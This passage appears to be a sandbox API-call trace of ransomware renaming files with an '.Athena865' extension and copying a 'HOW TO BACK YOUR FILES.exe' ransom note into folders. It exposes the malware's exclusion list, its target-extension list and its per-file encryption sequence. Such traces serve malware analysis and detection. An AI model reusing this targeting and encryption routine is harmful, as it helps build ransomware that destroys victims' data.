lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1 [0108.413] lstrlenW (lpString="xld") returned 3 [0108.413] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1 [0108.413] lstrlenW (lpString="xmlff") returned 5 [0108.413] lstrcmpiW (lpString1="n.avi", lpString2="xmlff") returned -1 [0108.413] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.Athena865") returned 79 [0108.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.athena865"), dwFlags=0x1) returned 1 [0108.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.415] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1600388) returned 1 [0108.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.415] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.416] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.416] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.416] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x186e90, lpName=0x0) returned 0x17c [0108.418] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x186e90) returned 0x2d50000 [0108.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.478] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.478] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.479] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.497] CloseHandle (hObject=0x17c) returned 1 [0108.497] CloseHandle (hObject=0x154) returned 1 [0108.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.514] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".") returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="..") returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="windows") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="bootmgr") returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="temp") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="pagefile.sys") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="boot") returned 1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ids.txt") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="ntuser.dat") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="perflogs") returned -1 [0108.514] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="MSBuild") returned -1 [0108.515] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0108.515] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FlickLearningWizard.exe" | out: lpString1="FlickLearningWizard.exe") returned="FlickLearningWizard.exe" [0108.515] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0108.515] lstrlenW (lpString="Athena865") returned 9 [0108.515] lstrcmpiW (lpString1="izard.exe", lpString2="Athena865") returned 1 [0108.515] lstrlenW (lpString=".dll") returned 4 [0108.515] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".dll") returned 1 [0108.515] lstrlenW (lpString=".lnk") returned 4 [0108.515] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".lnk") returned 1 [0108.515] lstrlenW (lpString=".ini") returned 4 [0108.515] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".ini") returned 1 [0108.515] lstrlenW (lpString=".sys") returned 4 [0108.515] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".sys") returned 1 [0108.515] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0108.515] lstrlenW (lpString="bak") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0108.515] lstrlenW (lpString="ba_") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0108.515] lstrlenW (lpString="dbb") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0108.515] lstrlenW (lpString="vmdk") returned 4 [0108.515] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0108.515] lstrlenW (lpString="rar") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0108.515] lstrlenW (lpString="zip") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0108.515] lstrlenW (lpString="tgz") returned 3 [0108.515] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0108.516] lstrlenW (lpString="vbox") returned 4 [0108.516] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0108.516] lstrlenW (lpString="vdi") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0108.516] lstrlenW (lpString="vhd") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0108.516] lstrlenW (lpString="vhdx") returned 4 [0108.516] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0108.516] lstrlenW (lpString="avhd") returned 4 [0108.516] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0108.516] lstrlenW (lpString="db") returned 2 [0108.516] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0108.516] lstrlenW (lpString="db2") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0108.516] lstrlenW (lpString="db3") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0108.516] lstrlenW (lpString="dbf") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0108.516] lstrlenW (lpString="mdf") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0108.516] lstrlenW (lpString="mdb") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0108.516] lstrlenW (lpString="sql") returned 3 [0108.516] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0108.516] lstrlenW (lpString="sqlite") returned 6 [0108.516] lstrcmpiW (lpString1="rd.exe", lpString2="sqlite") returned -1 [0108.516] lstrlenW (lpString="sqlite3") returned 7 [0108.516] lstrcmpiW (lpString1="ard.exe", lpString2="sqlite3") returned -1 [0108.516] lstrlenW (lpString="sqlitedb") returned 8 [0108.516] lstrcmpiW (lpString1="zard.exe", lpString2="sqlitedb") returned 1 [0108.516] lstrlenW (lpString="xml") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0108.517] lstrlenW (lpString="$er") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0108.517] lstrlenW (lpString="4dd") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0108.517] lstrlenW (lpString="4dl") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0108.517] lstrlenW (lpString="^^^") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0108.517] lstrlenW (lpString="abs") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0108.517] lstrlenW (lpString="abx") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0108.517] lstrlenW (lpString="accdb") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accdb") returned 1 [0108.517] lstrlenW (lpString="accdc") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accdc") returned 1 [0108.517] lstrlenW (lpString="accde") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accde") returned 1 [0108.517] lstrlenW (lpString="accdr") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accdr") returned 1 [0108.517] lstrlenW (lpString="accdt") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accdt") returned 1 [0108.517] lstrlenW (lpString="accdw") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accdw") returned 1 [0108.517] lstrlenW (lpString="accft") returned 5 [0108.517] lstrcmpiW (lpString1="d.exe", lpString2="accft") returned 1 [0108.517] lstrlenW (lpString="adb") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0108.517] lstrlenW (lpString="adb") returned 3 [0108.517] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0108.517] lstrlenW (lpString="ade") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0108.518] lstrlenW (lpString="adf") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0108.518] lstrlenW (lpString="adn") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0108.518] lstrlenW (lpString="adp") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0108.518] lstrlenW (lpString="alf") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0108.518] lstrlenW (lpString="ask") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0108.518] lstrlenW (lpString="btr") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0108.518] lstrlenW (lpString="cat") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0108.518] lstrlenW (lpString="cdb") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0108.518] lstrlenW (lpString="ckp") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0108.518] lstrlenW (lpString="cma") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0108.518] lstrlenW (lpString="cpd") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0108.518] lstrlenW (lpString="dacpac") returned 6 [0108.518] lstrcmpiW (lpString1="rd.exe", lpString2="dacpac") returned 1 [0108.518] lstrlenW (lpString="dad") returned 3 [0108.518] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0108.518] lstrlenW (lpString="dadiagrams") returned 10 [0108.518] lstrcmpiW (lpString1="Wizard.exe", lpString2="dadiagrams") returned 1 [0108.518] lstrlenW (lpString="daschema") returned 8 [0108.518] lstrcmpiW (lpString1="zard.exe", lpString2="daschema") returned 1 [0108.518] lstrlenW (lpString="db-journal") returned 10 [0108.519] lstrcmpiW (lpString1="Wizard.exe", lpString2="db-journal") returned 1 [0108.519] lstrlenW (lpString="db-shm") returned 6 [0108.519] lstrcmpiW (lpString1="rd.exe", lpString2="db-shm") returned 1 [0108.519] lstrlenW (lpString="db-wal") returned 6 [0108.519] lstrcmpiW (lpString1="rd.exe", lpString2="db-wal") returned 1 [0108.519] lstrlenW (lpString="dbc") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0108.519] lstrlenW (lpString="dbs") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0108.519] lstrlenW (lpString="dbt") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0108.519] lstrlenW (lpString="dbv") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0108.519] lstrlenW (lpString="dbx") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0108.519] lstrlenW (lpString="dcb") returned 3 [0108.519] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0108.519] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.Athena865") returned 84 [0108.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.athena865"), dwFlags=0x1) returned 1 [0108.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.521] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=927744) returned 1 [0108.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.522] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.522] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.522] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2b00, lpName=0x0) returned 0x17c [0108.524] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe2b00) returned 0x2d50000 [0108.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.559] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.559] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.560] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.568] CloseHandle (hObject=0x17c) returned 1 [0108.568] CloseHandle (hObject=0x154) returned 1 [0108.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.572] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2=".") returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="..") returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="windows") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="bootmgr") returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="temp") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="pagefile.sys") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="boot") returned 1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="ids.txt") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="ntuser.dat") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="perflogs") returned -1 [0108.572] lstrcmpiW (lpString1="fr-FR", lpString2="MSBuild") returned -1 [0108.572] lstrlenW (lpString="fr-FR") returned 5 [0108.572] lstrcpyW (in: lpString1=0x241e8ae, lpString2="fr-FR" | out: lpString1="fr-FR") returned="fr-FR" [0108.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f580 [0108.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x5023a8 [0108.572] lstrcatW (in: lpString1="fr-FR", lpString2="\\" | out: lpString1="fr-FR\\") returned="fr-FR\\" [0108.572] lstrcatW (in: lpString1="fr-FR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="fr-FR\\HOW TO BACK YOUR FILES.exe") returned="fr-FR\\HOW TO BACK YOUR FILES.exe" [0108.572] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.575] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2=".") returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="..") returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="windows") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="bootmgr") returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="temp") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="pagefile.sys") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="boot") returned 1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="ids.txt") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="ntuser.dat") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="perflogs") returned -1 [0108.575] lstrcmpiW (lpString1="fsdefinitions", lpString2="MSBuild") returned -1 [0108.575] lstrlenW (lpString="fsdefinitions") returned 13 [0108.575] lstrcpyW (in: lpString1=0x241e8ae, lpString2="fsdefinitions" | out: lpString1="fsdefinitions") returned="fsdefinitions" [0108.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547690 [0108.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x514008 [0108.575] lstrcatW (in: lpString1="fsdefinitions", lpString2="\\" | out: lpString1="fsdefinitions\\") returned="fsdefinitions\\" [0108.575] lstrcatW (in: lpString1="fsdefinitions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="fsdefinitions\\HOW TO BACK YOUR FILES.exe") returned="fsdefinitions\\HOW TO BACK YOUR FILES.exe" [0108.575] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.581] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2=".") returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="..") returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="windows") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="bootmgr") returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="temp") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="pagefile.sys") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="boot") returned 1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="ids.txt") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="ntuser.dat") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="perflogs") returned -1 [0108.581] lstrcmpiW (lpString1="he-IL", lpString2="MSBuild") returned -1 [0108.582] lstrlenW (lpString="he-IL") returned 5 [0108.582] lstrcpyW (in: lpString1=0x241e8ae, lpString2="he-IL" | out: lpString1="he-IL") returned="he-IL" [0108.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5476a8 [0108.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502328 [0108.582] lstrcatW (in: lpString1="he-IL", lpString2="\\" | out: lpString1="he-IL\\") returned="he-IL\\" [0108.582] lstrcatW (in: lpString1="he-IL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="he-IL\\HOW TO BACK YOUR FILES.exe") returned="he-IL\\HOW TO BACK YOUR FILES.exe" [0108.582] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.591] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcfb40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR 